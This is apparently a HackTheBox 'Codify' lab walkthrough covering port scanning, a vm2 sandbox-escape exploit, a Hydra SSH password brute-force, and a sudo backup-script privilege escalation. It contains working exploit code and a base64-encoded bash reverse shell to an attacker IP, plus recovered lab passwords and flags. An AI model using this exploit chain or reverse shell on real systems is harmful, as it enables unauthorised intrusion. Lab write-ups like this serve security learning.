> For the complete documentation index, see [llms.txt](https://cybersec.th4ntis.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cybersec.th4ntis.com/hackthebox/walkthroughs/codify.md).

# Codify

## Initial Scan

```nmap
sudo nmap -T4 -v 10.129.82.199
sudo nmap -T4 -Pn -p 22,80,3000 -sV -sC -v 10.129.82.199 -oA Codify
```

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FzqsY4UnS0cOaab5aAdlr%2Fimage.png?alt=media&amp;token=0307945f-e13f-4efc-991e-39c4f5f70a9f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2F0VFCn9ItEsSXNGYmoSMf%2Fimage.png?alt=media&amp;token=2bdc38c9-e9d4-440e-9015-a8f23e2f79d5" alt=""><figcaption></figcaption></figure>

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2Flb6EOkG5P5OTVlxNggZo%2Fimage.png?alt=media&amp;token=62faaccc-5ceb-49e9-9369-b238ac65a2da" alt=""><figcaption></figcaption></figure>

## HTTP

Had to edit the host file to get the Webpage

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FIUKlq6lFE3CY4H82hayK%2Fimage.png?alt=media&amp;token=b2ff2d4b-b561-4786-b027-695739a1d885" alt=""><figcaption></figcaption></figure>

Checking out their About Us page

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FJJZWMxboqCO0LvikEO9e%2Fimage.png?alt=media&amp;token=d04bd57a-2c5d-4cc7-b207-d387c70af3c0" alt=""><figcaption></figcaption></figure>

Looking around for VM2 CVE's, found [this article on snyk](https://security.snyk.io/vuln/SNYK-JS-VM2-5537100) about RCE with VM2 after seeing a couple others. Testing the other PoC's I didn't get anywhere until I found this one. We can run commands on the host bypassing the VM.

```javascript
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("ls -al").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked
```

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2Flju8a3VoWxhfBqhhI7nr%2Fimage.png?alt=media&amp;token=674508dd-9025-4f8a-b52a-57e71dbc2c57" alt=""><figcaption></figcaption></figure>

whoami shows us the `svc` user. Also looking at `/etc/passwd` we see an additional user, `joshua`&#x20;

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FimQtJwcjODXOKxH1rnN2%2Fimage.png?alt=media&amp;token=e754253d-97e8-4cca-8d9b-43b155ae140b" alt=""><figcaption></figcaption></figure>

### BruteForce

Trying to run Hydra against the user joshua for a password

```bash
hydra -l joshua -P /usr/share/wordlists/rockyou.txt -V ssh://10.129.82.199
```

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FISXgRF09OJzLO0LlPm38%2Fimage.png?alt=media&amp;token=9c9af927-14a1-4c0b-8203-ba30b39e862d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FWW0WzqKJNU647kQmwJgd%2Fimage.png?alt=media&amp;token=91f31480-cbfc-4085-9ad5-4928b9378a84" alt=""><figcaption></figcaption></figure>

`joshua:spongebob1`

### Obtaining shell

Working to get a shall as svc. Looking around for reverse shell, I found [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp).

```bash
bash -i >& /dev/tcp/10.10.14.53/1234 0>&1
```

Running it normally didn't work so I encoded it

```
echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My8xMjM0IDA+JjE=' | base64 -d | bash"
```

Full command

```bash
const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41My8xMjM0IDA+JjE=' | base64 -d | bash").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked
```

## Foothold

We have shell as svc

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FgwPTMNrZx2f9GXNf6Gwi%2Fimage.png?alt=media&amp;token=1b2dbe09-1b2b-479a-8d0e-6cb8a400d7ed" alt=""><figcaption></figcaption></figure>

Seeing what permissions we have

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2F5zY2vqYtbfAYpMiViBPP%2Fimage.png?alt=media&amp;token=cd5da29f-3ff2-43b1-a060-417a93fd985e" alt=""><figcaption></figcaption></figure>

## User Flag

After getting into shell from the SVC user, I got Joshuas password with hydra.

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FXkZgEpXCeBvn5evtylc4%2Fimage.png?alt=media&amp;token=352cd1f0-04cc-4148-8eda-8727ee29bb75" alt=""><figcaption></figcaption></figure>

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2F5UNnk7HfAIUDcw9wgd2k%2Fimage.png?alt=media&amp;token=cf77f151-4165-4522-b03c-d28c0586c895" alt=""><figcaption></figcaption></figure>

User flag: `c53cdd4688463871ba3f4020ab6f3ccb`

## Priv Esc

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2F32PcKNwPkCKmQpIcIVBl%2Fimage.png?alt=media&amp;token=32efb680-96a1-484f-841a-2bf1729679e7" alt=""><figcaption></figcaption></figure>

We have run the note of "User joshua may run the following commands on codify: (root) /opt/scripts/mysql-backup.sh" So looking at the shell file

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2F3XVtQiQPzQnUcqHZkUiG%2Fimage.png?alt=media&amp;token=4e498d11-8c55-4e39-baec-296ffcf4392a" alt=""><figcaption></figcaption></figure>

Running that as root as get

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FJyY0IhqM4aqgi5hpF2C2%2Fimage.png?alt=media&amp;token=a02c03d8-fbcf-4422-94cf-aa0d085407a6" alt=""><figcaption></figcaption></figure>

Get [PSPY](https://github.com/DominicBreuker/pspy) Initiate another SSH session. Get pspy64 onto the target machine, run it, then run the `/opt/scripts/mysql-backup.sh` script

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FoBadi9YG4ByGmCcuJQ52%2Fimage.png?alt=media&amp;token=31f29b57-40b6-481e-9b43-929f296cdf7e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FyMIE5MCKxbbF1Llg5MkD%2Fimage.png?alt=media&amp;token=5b753564-bdf8-45c3-8575-c5f2308282bd" alt=""><figcaption></figcaption></figure>

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2F8XVuigEyMoWJEWVoD2Y9%2Fimage.png?alt=media&amp;token=e06a144f-1137-4ae3-8a0f-0cdc84698c51" alt=""><figcaption></figcaption></figure>

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FvkNNULHxB8u1xgHnSocT%2Fimage.png?alt=media&amp;token=1926f25c-3231-4634-93a6-1d9a66944bff" alt=""><figcaption></figcaption></figure>

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FLxl7zQh2aJVLipKtQk27%2Fimage.png?alt=media&amp;token=d5269313-5445-48ca-bb9c-16aa61bb1e34" alt=""><figcaption></figcaption></figure>

Root pass: `kljh12k3jhaskjh12kjh3`

<figure><img src="https://667808901-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FTdW22AGCceN8oUXfdlKI%2Fuploads%2FScx2kF7QvmcIzKknPt3Q%2Fimage.png?alt=media&amp;token=10408392-2483-40f8-8e3e-44068310056d" alt=""><figcaption></figcaption></figure>

Root flag: `4e43f866588b3b3433196af3cef8b768`
